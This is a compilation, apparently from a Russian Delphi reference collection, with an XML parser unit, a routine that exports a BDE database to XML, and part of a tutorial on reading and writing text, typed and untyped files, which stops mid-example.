    function ParseValue(var AData: string; var APos: Integer): Boolean;
    // parse value (calling when found a parameter of a tag)
    function ParseName(var AData: string; var APos: Integer): Boolean;
    // parse key of parameter in a tag

    // these two procs used to parse any text found while parsing XML
    function ParseString(var AData: string; var APos: Integer;
      RememberBreaks: Boolean = False): string;
    function ParseQuotedString(var AData: string; var APos: Integer;
      QIndef: Char = '"'): string;

    // returnes the type of next identifier in XML
    function WhatNext(var AData: string; var APos: Integer;
      var ANext: Integer; RememberBreaks: Boolean = False): TYZXMLMarker;

    // This is a main procedure of our class - AData is a string,
    // containing all XML data (you can use TMemo.Text, for example, as a parameter of AData)
    function ParseXML(var AData: string; var APos: Integer): Boolean;

    // This function returnes a text string, built based on data, stored in an object.
    function GenerateXML(var AData: string; ATab: string = ''): Boolean;

    // returnes char from string at specified pos (#0 if not in range)
    function CharAt(var S: string; APos: Integer): Char;

    function TagNameExists(AName: string): Boolean;

    // Adds a child to children array of a current tag

    function AddChild: TYZXMLTag;

    // Initializes current tag and deletes all existing children
    procedure Clear; virtual;

    constructor Create(AParent: TYZXMLTag); virtual;
    destructor Destroy; virtual;
  end;

type
  TYZXMLParser = class(TYZXMLTag)
  private
    Header: TYZHash;
    procedure _BuildTreeView(ATreeView: TTreeView; ANode: TTreeNode; ATag: TYZXMLTag);
  public
    property HeaderValues: TYZHash read Header;

    procedure BuildTreeView(ATreeView: TTreeView);
    function Parse(AData: string): Boolean;
    function Generate(var AData: string): Boolean;
    constructor Create;
    destructor Destroy;
  end;

implementation

//==============================================================================

{ TYZXMLTag }

function TYZXMLTag.AddChild: TYZXMLTag;
begin
  setlength(children, Length(children) + 1);
  Result := TYZXMLTag.Create(Self);
  children[Length(children) - 1] := Result;
end;

//------------------------------------------------------------------------------

procedure TYZXMLTag.Clear;
var
  i: Integer;
begin
  for i := 0 to Count - 1 do if children[i] <> nil then Children[i].Destroy;
  setlength(children, 0);
  FData.Clear;
  Text := '';
end;

//------------------------------------------------------------------------------

constructor TYZXMLTag.Create(AParent: TYZXMLTag);
begin
  inherited Create;
  FData   := TYZHash.Create;
  FParent := AParent;
  Clear;
end;

//------------------------------------------------------------------------------

destructor TYZXMLTag.Destroy;
begin
  Clear;
  FData.Destroy;
end;

//------------------------------------------------------------------------------

function TYZXMLTag.GetCount: Integer;
begin
  Result := Length(children);
end;

//------------------------------------------------------------------------------

function TYZXMLTag.GetValue(AName: string): string;
begin
  Result := FData[AName];
end;

//------------------------------------------------------------------------------

function TYZXMLTag.ParseName(var AData: string; var APos: Integer): Boolean;
begin
  Result := False;
  FName  := ParseString(AData, APos);
  if fname = '' then Exit;
  Result := True;
end;

//------------------------------------------------------------------------------

function TYZXMLTag.ParseQuotedString(var AData: string; var APos: Integer;
  QIndef: Char = '"'): string;
var
  i: Integer;
  skipnext: Boolean;
  z: Char;
begin
  Result := '';
  if CharAt(AData, APos) <> QIndef then Exit;
  i        := apos;
  skipnext := True;
  repeat
    if not skipnext then
    begin
      if charat(AData, I) = '\' then SkipNext := True
      else
      begin
        z := charat(AData, I);
        if (Z = QIndef) or (z = #0) then
        begin
          Result := Copy(AData, aPos + 1, I - APos - 1);
          //          result:=exch(result,'\','');
          APos := I + 1;
          Exit;
        end;
      end;
    end
    else
      skipnext := False;
    Inc(i);
  until False;
end;

//------------------------------------------------------------------------------

function TYZXMLTag.ParseString(var AData: string; var APos: Integer;
  RememberBreaks: Boolean = False): string;
const
  extsym: string = '=<>;?*/';
var
  nxt: Char;
  x1, x2, i: Integer;
begin
  Result := '';
  nxt    := SkipSpaces(AData, APos, RememberBreaks);
  if nxt = #0 then Exit;
  if (nxt = '"') or (nxt = '''') then
  begin
    Result := ParseQuotedString(AData, APos);
    Exit;
  end;
  x1  := APos;
  i   := x1;
  nxt := CharAt(AData, i);
  while ((Ord(nxt) <= 32) or (Pos(nxt, extsym) > 0)) and (nxt <> #0) do
  begin
    Inc(i);
    nxt := CharAt(AData, i);
  end;
  APos := i;
  X1 := APos;
  while (Ord(nxt) > 32) and (Pos(nxt, extsym) <= 0) do
  begin
    Inc(i);
    nxt := CharAt(AData, i);
  end;
  x2 := i - x1;
  Result := Copy(AData, x1, x2);
  APos := i;
end;

//------------------------------------------------------------------------------

function TYZXMLTag.ParseValue(var AData: string; var APos: Integer): Boolean;
var
  n, v: string;
  i, x: Integer;
begin
  Result := False;
  n := parseString(AData, APos);
  if n = '' then Exit;
  if skipspaces(AData, APos) <> '=' then Exit;
  Inc(apos);
  V := parseString(AData, APos);
  fdata[n] := dequote(v);
  Result := True;
end;

//------------------------------------------------------------------------------

function TYZXMLTag.ParseXML(var AData: string; var APos: Integer): Boolean;
var
  N: TYZXMLMarker;
  nxt: Integer;
  isLong: Boolean;
  inTag: Boolean;
begin
  isLong := False;
  Result := False;
  Clear;
  if WhatNext(AData, APos, nxt) <> xmlOpenTag then Exit;
  APos := nxt;
  if WhatNext(AData, APos, nxt) <> xmlIdentifier then Exit;
  Result := ParseName(AData, APos);
  if not Result then Exit;
  intag  := True;
  Result := False;
  while True do
  begin
    N := WhatNext(AData, APos, nxt, (not intag and islong and (Count > 0)));
    case N of
      xmlEOF: Exit;
      xmlCloseTagLong:
        begin
          Result := True;
          if islong then APos := nxt;
          if (Text <> '') and (Count > 0) then
          begin
            Text := exch(Text, #13#10#13#10, #13#10);
          end;

          Exit;
        end;
      xmlCloseTagShort:
        begin
          Result := (not IsLong) and intag;
          if Result then APos := nxt;
          Exit;
        end;
      xmlOpenTag:
        begin
          if islong then Result := AddChild.ParseXML(AData, APos)
          else
          begin
            Result := False;
            Exit;
          end;
          if not Result then Exit;
        end;
      xmlCloseTag:
        begin
          IsLong := True;
          APos   := nxt;
          intag  := False;
        end;
      xmlIdentifier:
        begin
          if intag then parsevalue(AData, APos)
          else
            Text := Text + ParseString(AData, APos, True)
        end;
      xmlUnknown:
        begin
          Result := True;
          Exit;
        end;
    end;
  end;
end;

//------------------------------------------------------------------------------

procedure TYZXMLTag.SetName(const Value: string);
begin
  FName := Value;
end;

//------------------------------------------------------------------------------

procedure TYZXMLTag.SetValue(AName: string; const Value: string);
begin
  FData[AName] := Value;
end;

//------------------------------------------------------------------------------

function TYZXMLTag.SkipSpaces(var AData: string; var APos: Integer;
  RememberBreaks: Boolean = False): Char;
var
  L: Integer;
  P: Char;
begin
  L := Length(AData);
  while APos <= L do
  begin
    P := AData[APos];
    if Ord(p) > 32 then
    begin
      Result := p;
      Exit;
    end
    else if rememberbreaks then
    begin
      if Pos(p, #13#9' ') > 0 then
        Text := Text + ' ';
    end;
    Inc(APos);
  end;
  Result := #0;
end;

//------------------------------------------------------------------------------

function TYZXMLTag.CharAt(var S: string; APos: Integer): Char;
begin
  Result := #0;
  if (Length(s) < APos) or (apos < 1) then Exit;
  Result := s[APos];
end;

//------------------------------------------------------------------------------

function TYZXMLTag.WhatNext(var AData: string; var APos: Integer;
  var ANext: Integer; RememberBreaks: Boolean = False): TYZXMLMarker;
var
  s: string;
  C: Char;
  P: Integer;
begin
  Result := xmlEOF;
  P := APos;
  C := SkipSpaces(AData, APos);
  P := APos;
  ANext  := P;
  if C = #0 then Exit;

  if C = '<' then if CharAt(AData, P + 1) = '/' then
    begin
      Inc(P, 2);
      s := parsestring(AData, P);
      if (uppercase(s) = uppercase(FName)) and (SkipSpaces(AData, P) = '>') then
      begin
        ANext := P + 1;
        Result := xmlCloseTagLong;
        Exit;
      end
      else
      begin
        if TagNameExists(s) then
        begin
          Result := xmlCloseTagLong;
          ANext := APos;
          Exit;
        end;
        ANext  := P + 1;
        Result := xmlCloseTagLong;
        Exit;
      end;
    end;

  if C = '<' then
  begin
    ANext := P + 1;
    Result := xmlOpenTag;
    Exit;
  end;

  if C = '>' then
  begin
    ANext := P + 1;
    Result := xmlCloseTag;
    Exit;
  end;
  if C = '/' then if CharAt(AData, P + 1) = '>' then
    begin
      ANext := P + 2;
      Result := xmlCloseTagShort;
      Exit;
    end;
  ANext := P;
  parsestring(AData, ANext);
  Result := xmlIdentifier;
end;

//------------------------------------------------------------------------------

function TYZXMLTag.GetValueNames: strarr;
begin
  Result := FData.Keys;
end;

//------------------------------------------------------------------------------

function TYZXMLTag.GenerateXML(var AData: string; ATab: string = ''): Boolean;
var
  valDelimiter: string;
  spc: string;
  i: Integer;
  a: strarr;
begin
  spc := ATab + #9;
  if FData.Count < 5 then valDelimiter := ' '
  else
    valDelimiter := #13#10 + spc;
  AData := AData + #13#10 + ATab + '<' + FName;
  a     := FData.keys;
  for i := 0 to Length(a) - 1 do
  begin
    AData := AData + valDelimiter + a[i] + ' = "' + EnQuote(values[a[i]]) + '"';
  end;
  if (Count > 0) or (Text <> '') then
  begin
    AData := AData + '>' + Text;
    for i := 0 to Count - 1 do
    begin
      Children[i].GenerateXML(AData, ATab + #9);
    end;
    AData := AData + #13#10 + ATab + '</' + FName + '>';
  end
  else
    AData := AData + '/>';
  Result := True;
end;

//------------------------------------------------------------------------------

function TYZXMLTag.TagNameExists(AName: string): Boolean;
begin
  Result := AnsiUpperCase(AName) = AnsiUpperCase(Self.FName);
  if Self.FParent = nil then Exit;
  if not Result then Result := fparent.TagNameExists(AName);
end;

//==============================================================================

{ TYZXMLParser }

constructor TYZXMLParser.Create;
begin
  Header := TYZHash.Create;
  inherited Create(nil);
end;

//------------------------------------------------------------------------------

destructor TYZXMLParser.Destroy;
begin
  inherited;
  Header.Destroy;
end;

//------------------------------------------------------------------------------

procedure TYZXMLParser.BuildTreeView(ATreeView: TTreeView);
var
  i: Integer;
begin
  //  clear;
  ATreeView.Items.Clear;
  for i := 0 to Count - 1 do _BuildTreeView(ATreeView, nil, children[i]);
end;

//------------------------------------------------------------------------------

procedure TYZXMLParser._BuildTreeView(ATreeView: TTreeView; ANode: TTreeNode;
  ATag: TYZXMLTag);
var
  i: Integer;
  N: TTreeNode;
begin
  N := ATreeView.Items.AddChildObject(ANode, ATag.Name + ' ' + FData['ID'], Pointer(ATag));
  for i := 0 to ATag.Count - 1 do
  begin
    if ATag.children[i] <> nil then _BuildTreeView(ATreeView, N, ATag.children[i])
    else
      ATreeView.Items.AddChild(N, 'nil');
  end;
  N.Expanded := True;
end;

//------------------------------------------------------------------------------

function TYZXMLParser.Parse(AData: string): Boolean;
var
  x1, x2, X, i: Integer;
  s: string;
  tmp: TYZXMLTag;
  a: strarr;
  N: TYZXMLMarker;
begin
  X := 1;
  Self.SkipSpaces(AData, X);
  x2 := -1;
  Result := False;
  Clear;
  Header.Clear;
  x1 := Pos('<?', AData);
  if x1 >= X then
  begin
    x2 := Pos('?>', AData);
    if x2 < X then Exit;
    s := uppercase(Copy(AData, x1 + 2, 4));
    if Pos('XML ', s) <> 1 then Exit;
    s   := '<xml ' + Copy(AData, x1 + 6, x2 - x1 - 6) + '/>';
    tmp := TYZXMLTag.Create(nil);
    tmp.ParseXML(s, x);
    a := tmp.ValueNames;
    for i := 0 to Length(a) - 1 do
      Header[a[i]] := tmp.Values[a[i]];
    tmp.Destroy;
    x := x2 + 2;
  end;
  Result := True;
  repeat
    N := whatnext(AData, X, x1);
    case N of
      xmlOpenTag: Result := Result and AddChild.ParseXML(AData, X);
      xmlIdentifier:
        begin
          if Text <> '' then Text := Text + ' ';
          Text := Text + parsestring(AData, X, True);
        end;
      else
        Parsestring(AData, X);
    end;
  until skipspaces(adata, x) = #0;
  //  if not result then ShowMessage('Error Parsing: '+inttostr(X));
end;

function TYZXMLParser.Generate(var AData: string): Boolean;
var
  i: Integer;
  a: strarr;
begin
  Header['Date'] := DateTimeToStr(now);
  a := header.Keys;

  AData := '<?xml';
  for i := 0 to Length(a) - 1 do
    AData := AData + ' ' + a[i] + '="' + Header[a[i]] + '"';

  AData  := AData + '?>'#13#10 + Text;
  Result := True;
  for i := 0 to Length(children) - 1 do
  begin
    Result := Result and children[i].generatexml(AData);
  end;
end;

//==============================================================================

// procedures of THash class

//==============================================================================

{THASH CLASS}

procedure THash.Clear;
begin
  SetLength(Arr, 0);
end;

constructor THash.Create;
begin
  inherited;
  Clear;
end;

//------------------------------------------------------------------------------

destructor THash.Destroy;
begin
  Clear;
  inherited;
end;

//------------------------------------------------------------------------------

function THash.GetCount: Integer;
begin
  Result := Length(Arr);
end;

//------------------------------------------------------------------------------

function THash.Getempty: Boolean;
begin
  Result := Length(Arr) = 0;
end;

function THash.GetKeys: StrArr;
var
  i: Integer;
begin
  SetLength(Result, Length(arr));
  for i := 0 to Length(Result) - 1 do
    Result[i] := arr[i].Key;
end;

//------------------------------------------------------------------------------

function THash.GetValue(Key: string): string;
var
  i: Integer;
  r: Boolean;
begin
  Result := '';
  i      := 0;
  r      := False;
  while (i < Length(Arr)) and (not r) do
  begin
    if AnsiUpperCase(arr[i].key) = AnsiUpperCase(Key) then
    begin
      Result := Arr[i].Value;
      r := True;
    end;
    i := i + 1;
  end;
end;

//------------------------------------------------------------------------------

function THash.GetValues: StrArr;
var
  i: Integer;
begin
  SetLength(Result, Length(arr));
  for i := 0 to Length(Result) - 1 do
    Result[i] := arr[i].Value;
end;

//------------------------------------------------------------------------------

procedure THash.SetValue(Key: string; const VValue: string);
var
  i, j: Integer;
  r: Boolean;
  E: THashElementArr;
begin
  if VValue <> '' then
  begin
    i := 0;
    r := False;
    while (i < Length(Arr)) and not r do
    begin
      if AnsiUpperCase(arr[i].key) = AnsiUpperCase(Key) then
      begin
        Arr[i].Value := VValue;
        r := True;
      end;
      i := i + 1;
    end;
    if not r then
    begin
      SetLength(Arr, Length(arr) + 1);
      arr[Length(arr) - 1].Key   := Key;
      arr[Length(arr) - 1].Value := Vvalue;
    end;
  end;

  SetLength(E, Length(Arr));
  for i := 0 to Length(arr) - 1 do E[i] := Arr[i];
  SetLength(arr, 0);
  for i := 0 to Length(E) - 1 do if (E[i].Key <> '') and (E[i].Value <> '') then
    begin
      j := Length(arr);
      setlength(arr, j + 1);
      arr[j] := E[i];
    end;
end;

end.


Сбростить BDE базу данных в XML файл

Procedure CreateXML(Alias:string; XMLName:string);
 var i,j,x,y:integer;
     f:TextFile;
     Tables:TStringList;
     Table:TTable;

 Function FixValue(Value:string):string;
   var n:integer;
 begin
   Result:='';
   For n:=1 to length(Value) do
     if Value[n] in ['0'..'9','a'..'z','A'..'Z','.',',','-',' ','/','*',':','{','}','_','@','\','+','%'] then
       result:=Result+Value[n]
     else
       result:=Result+'&#'+inttostr(ord(Value[n]))+';';
 end;

 Procedure WriteValue(Indent:integer; Name, ParamName, ParamValue, Value:string);
   var temp:string;
   const Empty='                                                             ';
 begin
   Temp:=Copy(empty,1,Indent);
   temp:=temp+'<'+Name;
   if ParamName='' then temp:=temp+'>' else temp:=temp+' '+Paramname+'="'+FixValue(ParamValue)+'">';
   Temp:=Temp+FixValue(Value)+'</'+Name+'>';
   Writeln(f,temp);
 end;

 Procedure WriteTag(Indent:integer; Name, ParamName, ParamValue:string; Open:boolean=True);
   var temp:string;
   const Empty='                                                             ';
 begin
   Temp:=Copy(empty,1,Indent);
   if Open then temp:=temp+'<'+Name else temp:=temp+'</'+Name;
   if ParamName='' then temp:=temp+'>' else temp:=temp+' '+Paramname+'="'+FixValue(ParamValue)+'">';
   Writeln(f,temp);
 end;

begin
 Tables:=TStringList.Create;
 Table:=TTable.Create(nil);
 try
   session.GetTableNames(Alias, '*.db',False, False, Tables);
   Table.DatabaseName:=Alias;
   assignFile(f,XMLName);
   reWrite(f);
   WriteTag(0, Alias, '', '', True);
   for i:=0 to Tables.Count-1 do
     begin
       Table.Active:=false;
       Table.TableName:=Tables[i];
       WriteTag(1, Table.tablename, '', '', True);
       Table.Active:=true;
       Table.First;
       For j:=0 to Table.RecordCount-1 do
         begin
           WriteTag(2, 'Rec', '', '', True);
           For x:=0 to Table.fields.count-1 do
             WriteValue(4, Table.fields[x].FieldName, '', '', Table.fields[x].asstring);
           WriteTag(2, 'Rec', '', '', False);
           Table.Next;
         end;
       WriteTag(1, Table.tablename, '', '', False);
     end;
   WriteTag(0, Alias, '', '', False);
   CloseFile(f);
 finally
   Tables.free;
   Table.free;
 end;

end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 CreateXML('MyDatabase', 'c:\XMLFile.xml');
end;

XML формируется в ввиде

 <MyDatabase>
   <Table1>
     <Rec>
       <Field1>Value1</Field1>
       <Field2>Value2</Field2>
       <Field3>Value3</Field3>
     </Rec>
     <Rec>
       <Field1>Value1</Field1>
       <Field2>Value2</Field2>
       <Field3>Value3</Field3>
     </Rec>
   </Table1>
   <Table2>
     <Rec>
       <Field1>Value1</Field1>
       <Field2>Value2</Field2>
       <Field3>Value3</Field3>
     </Rec>
     <Rec>
       <Field1>Value1</Field1>
       <Field2>Value2</Field2>
       <Field3>Value3</Field3>
     </Rec>
   </Table2>
 </MyDatabase>

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Работа с файловой системой

Cодержание раздела:

Всё о файлах (Статья)

Работа с NTFS
· Как прочитать владельца файла?
· Как шифровать файлы при помощи windows NTFS API?
· Как определить, является ли диск NTFS?

Справочник по функциям работы с файлами New!
Список режимов открытия файлов New!
Проход дерева каталогов Updated!
Отображение файлов в память New!
Удаление каталога с подкаталогами
Как узнать версию программы?
Cколько файлов есть в определённой папке?
Пример написания FileListBox
Пример загрузки файлов в ListView с иконками Updated!
Как отслеживать изменение файла?
Перетаскивание файлов в приложение
Как использовать Shell API SHBrowseForFolder?
Чтение из открытого файла
Как найти путь к моей программе?
Как удалить файл после перезагрузки Windows?
Как поместить в буфер файл с помощью File Mapping?
Как удалить файл из самого себя?
Создаём собственный UnRar, используя unrar.dll
Как выяснить дату последнего изменения файла?
Как скопировать директорию?
Файловые операции средствами ShellAPI
Как проверить находится ли файл на локальном диске?
Как скопировать файл в Windows clipboard?
Как сравнить 2 файла?
Как получить UNC путь к файлу?
Копирование файлов
Split/merge files? New!
Как получить тип файла? New!
Проверяем находится ли файл на локальном диске New!
Как проверить папку на shared? New!
GROUPFILE и ADDITEM для групп New!
Переместиться в конец файла New!
Как получить короткий путь файла если есть длинный и на оборот? New!
поддержка библиотеки сжатия ZLib New!

См. также статьи в других разделах:
Запись массива на диск
Как из RXRichEdit сохранить в RTF формате?
Как работать с FileOpenDialog и FileSaveDialоg?
TOpenDialog, TSaveDialog, TOpenPictureDialog и TSavePictureDialog
Как показать File Properties dialog?
Как записать файл в Blob поле?
Сохранение и чтение файлов в BLOB-полях
Как экспортировать все таблицы в CSV файл?
Сохранение всего содержимого буфера обмена в файл
Как скопировать файл в Windows clipboard?
Как прервать печать и заставить печатать свой файл?
Как определить графический формат файла (не используя расширение)?
Как прочитать заголовок wav файла?
Как работать с DWG файлами (AutoCAD)?
Как работать с GIF файлами?
Как работать с PDF файлами?
Компонент для работы с PCX файлами
Пример работы чтения и сохранении wav-файлов
Работа с TGA файлами
Формат wave файла


Всё о файлах (Статья)

Решил здесь собрать воедино основные приемы работы с файлами.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Текстовые файлы

Текстовый файл отличается тем что он разбит на разные по длине строки, отделенные символами #13#10. Есть 2 основных метода работы с текстовыми файлами - старый паскалевский способ и через файловые потоки. У обоих есть преимущества и недостатки. Через потоки способ проще поэтому начнем с него.

Итак у всех потомков класса TStrings (TStringList, memo.Lines и т.п. ) есть методы записи и чтения в файл - SaveToFile, LoadFromFile. Преимущество - простота использования и довольно высокая скорость, недостаток - читать и писать файл можно только целиком.

Примеры.
1) Загрузка текста из файла в Memo:

 Memo1.lines.loadfromfile('c:\MyFile.txt');

2) Сохранение в файл:

 Memo1.lines.savetoFile('c:\MyFile.txt');

3) А вот так можно прочитать весь файл в строку:

Function ReadFromFile(FileName:string):string;
begin
With TStringList.create do
try
LoadFromFile(FileName);
result:=text;
finally
Free;
end;
end;


Паскалевский метод доступа

Для более тонких операций над текстовыми файлами прийдется освоить очень древний паскалевский способ.

Итак, для доступа к текстовым файлам используется переменная типа TextFile. До сих пор не совсем понимаю что это такое физически - что-то типа "внутреннего" паскалевского Handle на файл.

Итак чтобы ассоциировать файл на диске с переменной надо проделать следующие опрерации:

1) Определяем файловую переменную:
 var f:TextFile;

2) Ассоциируем ее:

 AssignFile(F, 'c:\MyFile.txt');

3) Теперь надо этот файл открыть, есть 3 варианта:
- файла нет или он должен быть перезаписан, открытие для записи:
Rewrite(f)

- файл есть и его надо открыть для чтения (с первой строки)
Reset(f)

- файл есть и его надо открыть для дописования строк в конец
Append(f)

Как видите не хватает очень полезных функций таких как открытия файла для чтения с произвольной строки и для записи в файл произвольной строки. Но надо учесть, что так как длины строк разные, не существует никакого способа узнать физическое место начала например 1000 строки, не прочитав всю тысячу строк. Для записи ситуация еще сложнее - вставить строку означает перезаписать всю информацию после этой строки заново. Таким образом варианты только следующие:
- Перезаписать весть файл
- Читать с первой строки
- Дописать что-то в конец
- Читать и писать файл целиком (см. выше работу через TStrings)

В конце работы открытый файл нужно закрыть:
CloseFile(f);

Теперь пусть у нас есть строковая переменная s для чтения строки из файла

Чтение предварительно открытого файла:
ReadLn(f, s) - будет прочитанна текущая строка и позиция чтения переведена на следующую позицию.

А как прочитать весь файл?

While not eof(f) do
begin
ReadLn(f, s);
{здесь делаем что-то с прочитанной строкой}
end;

Хорошо, а если файл несколько метров есть ли способ поставить какой-нибудь ProgressBar или Gauge чтобы показывал сколько считанно? Есть, но не совсем прямой - не забыли, сколько строк в файле заранее мы не знаем, узнать можно только прочитав его весь, но показометер мы все-таки сделаем:

var Canceled:Boolean;

Function GetFileSize(FIleName:String):integer;
var f: File of Byte;
begin
try
AssignFile(f, FileName);
Reset(f);
result:=filesize(F);
CloseFile(f);
except
result:=-1;
end;
end;

Procedure ReadMyFile;
Var i,j:integer;
Begin
ProgressBar1.Max:=GetFileSize('c:\MyFile.txt');
ProgressBar1.position:=0;
assignfile(f,'c:\MyFile.txt');
Canceled:=False;
reset(f);
i:=0;j:=0;
while not eof(f) do
begin
inc(j);
readln(f,s);
i:=i+length(s)+2;
if (j mod 1000)=0 then
begin
ProgressBar1.position:=i;
Application.ProcessMessages;
if canceled then break;
end;
{здесь мы что-то делаем с прочитанной строкой}
end;
CloseFile(f);
End;

Теперь комментарии к коду.
1) Функию GetFileSize я рсссмотрю после, она немного по другому подходит к чтению файла (кстати я знаю еще по крайней мере 3 способа ее реализации, поэтому не нужно указывать что это можно сделать легче, быстрее или просто по другому - просто давайте разберем это позже)
2) Переменная i - все время указывает на количество байт которое мы считали - мы определяем длину каждой строки и прибавляем 2 (символы конца строки). Зная длину файла в байтах и сколько байт прочитано можно оценить и прогресс, но
3) Если ставить изменение прогресса после каждой строки, то это очень сильно тормознет процесс. Поэтому вводим переменную j и обновляем прогресс например 1 раз на 1000 прочитанных строк
4) Переменная Canceled - глобальная переменная. Поставьте на форму кнопку, в обработчике нажатия поставьте Canceled:=True; и нажатие кнопки прервет чтение файла.

Теперь как писать в текстовый файл:

Запись целой строки:
Writeln(f,s);

Запись кусочка строки(те следующая операция записи будет произведена в ту же строку):

Write(f,s);

Если переменная s содержит больше 255 символов (т.е. является длинной строкой), то таким способом ни фига не запишится, в файл вместо строки попадут 4 байта указателя на нее. Надо делать так:

Writeln(f,pointer(s)^);


Работа через WinAPI

Раздел написан Podval (примеры к сожалению на С++)

Любителям WinAPI посвящается...
Функции FileOpen, FileSeek, FileRead.
Возьмем форму, положим на нее кнопку, грид и Опен диалог бокс.
Это для Билдера, но какая нам в данном случае разница?

void __fastcall TForm1::Button1Click(TObject *Sender)
{
int iFileHandle;
int iFileLength;
int iBytesRead;
char *pszBuffer;
if (OpenDialog1->Execute())
{
try
{
iFileHandle = FileOpen(OpenDialog1->FileName, fmOpenRead);
iFileLength = FileSeek(iFileHandle,0,2);
FileSeek(iFileHandle,0,0);
pszBuffer = new char[iFileLength+1];
iBytesRead = FileRead(iFileHandle, pszBuffer, iFileLength);
FileClose(iFileHandle);
for (int i=0;i<iBytesRead;i++)
{
StringGrid1->RowCount += 1;
StringGrid1->Cells[1][i+1] = pszBuffer[i];
StringGrid1->Cells[2][i+1] = IntToStr((int)pszBuffer[i]);
}
delete [] pszBuffer;
}
catch(...)
{
Application->MessageBox("Can't perform one of the following file operations: Open, Seek, Read, Close.", "File Error", IDOK);
}
}
}

Потренируемся еще.
Функции FileExists, RenameFile, FileCreate, FileWrite, FileClose.
Бросим на форму Save dialog box.

#include <dir.h>
void __fastcall TForm1::Button1Click(TObject *Sender)
{
char szFileName[MAXFILE+4];
int iFileHandle;
int iLength;
if (SaveDialog1->Execute())
{
if (FileExists(SaveDialog1->FileName))
{
fnsplit(SaveDialog1->FileName.c_str(), 0, 0, szFileName, 0);
strcat(szFileName, ".BAK");
RenameFile(SaveDialog1->FileName, szFileName);
}
iFileHandle = FileCreate(SaveDialog1->FileName);

// Write out the number of rows and columns in the grid.
FileWrite(iFileHandle, (char*)&(StringGrid1->ColCount), sizeof
(StringGrid1->ColCount));
FileWrite(iFileHandle, (char*)&(StringGrid1->RowCount), sizeof
(StringGrid1->RowCount));
for (int x=0;x<StringGrid1->ColCount;x++)
{
for (int y=0;y<StringGrid1->RowCount;y++)
{
// Write out the length of each string, followed by the string itself.

iLength = StringGrid1->Cells[x][y].Length();
FileWrite(iFileHandle, (char*)&iLength, sizeof
(iLength));
FileWrite(iFileHandle, StringGrid1->Cells[x][y].c_str(), StringGrid1->Cells[x][y].Length());
}
}
FileClose(iFileHandle);
}
}

(с) Оба примера взяты из хелпа по Borland C++ Builder 5.

Дата/время файла
extern PACKAGE int fastcall FileGetDate(int Handle);
extern PACKAGE int fastcall FileSetDate(int Handle, int Age);
Первоисточник тот же.

Атрибуты файла.
extern PACKAGE int __fastcall FileGetAttr(const AnsiString FileName);
И
extern PACKAGE int fastcall FileSetAttr(const AnsiString FileName, int Attr);

Может быть, такая функция полезна будет, хотя о программном поиске файлов и так много наговорено. Но на всякий случай, как говорится.
В этом примере идет поиск в текущем каталоге и каталоге Windows

void __fastcall TForm1::Button1Click(TObject *Sender)
{
char buffer[256];
GetWindowsDirectory(buffer, sizeof(buffer));
AnsiString asFileName = FileSearch(Edit1->Text, GetCurrentDir() + AnsiString(";") + AnsiString(buffer));
if (asFileName.IsEmpty())
ShowMessage(AnsiString("Couldn't find ") + Edit1->Text + ".");
else
ShowMessage(AnsiString("Found ") + asFileName + ".")
}

В дополнение к Дате/Времени
extern PACKAGE int __fastcall FileAge(const AnsiString FileName);

Для конвертации возвращаемого значения в TDateTime:

extern PACKAGE int fastcall FileDateToDateTime(int FileDate);


Типизированные файлы

Теперь разберем типизированные файлы. Типизированный файл - это файл в котором записанны идентичные структуры. Например любой файл можно считать файлом байтов - т.е. можно его читать байт за байтом, можно перейти сразу к любому байту по его номеру, можно сразу узнать сколько байт в файле, можно заменить любой байт на другой не перезаписывая файл. Теперь все это в примерах:

Объявляем файл байтов:

var f:file of byte;
     b:Byte;

Ассоциируем файловую переменную с физическим файлом:

AssignFile(f,'c:\myfile.bin');

Теперь мы можем либо перезаписать/создать файл:

Rewrite(f);

Либо открыть существующий для чтения и записи:

Reset(f);

Обратите внимание, что функция Reset хотя и имеет такой же формат как и для текстовых файлов, но открытый ей файл можно и читать и писать, в отличие от текстовых.

Теперь функции работы с файлом:

read(f,b); - прочитать 1 байт
write(f,b); - записать 1 байт
seek(f,100); - поставить текущее положение считывания/записи на сотый байт
Size(f); - прочитать количество байт в файле.
Eof(f); - узнать не являетсмя ли байт последним

Все эти функции не работают с файлами большими 2 Gb.

После работы файл надо закрыть:

CloseFile(f);

Приведенные выше механизмы будут работать с любым файлом, так как любой файл можно считать файлом байтов. Теперь где это можно использовать? В принципе везде, но в подавляющем большинстве случаев это будет очень неудобно, ведь скорость считывания при чтении по байтам будет на порядки более низкой чем другими способами. Однако в некоторых случаях этот способ может быть очень полезен. Например в программе вам надо заменить 100й байт файла на другой, или прочитать 100й байт файла, например во всяких читерских программах, при взломе и т.п. Здесь такой доступ будет весьма удобен. Гораздо более интересным представляется дальнейшее развитие технологии типизированных файлов (их еще лет 15 назад называли "Файлы прямого доступа"). Представим себе, что файл состоит не из байт а из более сложных структур. Например мы имеем некоторую информацию в виде:

Type MyRec=Record
           Name:string[100];
           Age:byte;
           Membership:Boolean;
           Accounts:array[1..10] of integer;
        End;

Обратите внимание, что все элементы записи точно типизированны, нет ни длинных строк, ни открытых массивов, ни объектов, другими словами, заранее точно известно сколько именно байт будет занимать переменная этого типа. Объявим переменную этого типа:

Var MyVar:MyRec;

и файл этого типа:

Var f:File of MyRec;

Теперь мы можем читать и писать сразу целую структуру, абсолютно так же как и если бы это был один байт:

AssignFile(f,'c:\MyFile.rec');
Rewrite(f);
MyVar.Name:='Vitaly';
MyVar.Age:=33;
MyVar.Membership:=True;
MyVar.Accounts[1]:=12345;
MyVar.Accounts[2]:=34985;
Write(f,MyVar);
Closefile(f);

Все остальные функции приведенные в предыдущей статье будут работать так же, только одно отличие - Seek и Size оперируют не с количеством байт, а с количеством записей.


Нетипизированные файлы

Идем дальше. Есть такое понятие как нетипизированный файл. Это такой файл который содержит разнородные элементы. Например файл EXE - вначале он имеет заголовок, затем двоичный код, в конце какие-то ресурсы. Все части файла имеют разную длину и разную структуру. Тут уже обратится к произвольному элементу сложно, обычно надо вначале узнать где этот элемент находится, подчас это записано в предыдущем куске информации. Работа с такими файлами достаточно сложна и требует вручную разработки алгоритмов его чтения, но в связи гибкостью структуры и компактностью такие файлы составляют большинство. Для работы с нетипизированными файлами используют процедуры BlockRead и BlockWrite, которые позволяют читать/писать произвольное количество байт. Привожу пример пользования этими функциями из справки по Дельфи:

var
FromF, ToF: file;
NumRead, NumWritten: Integer;
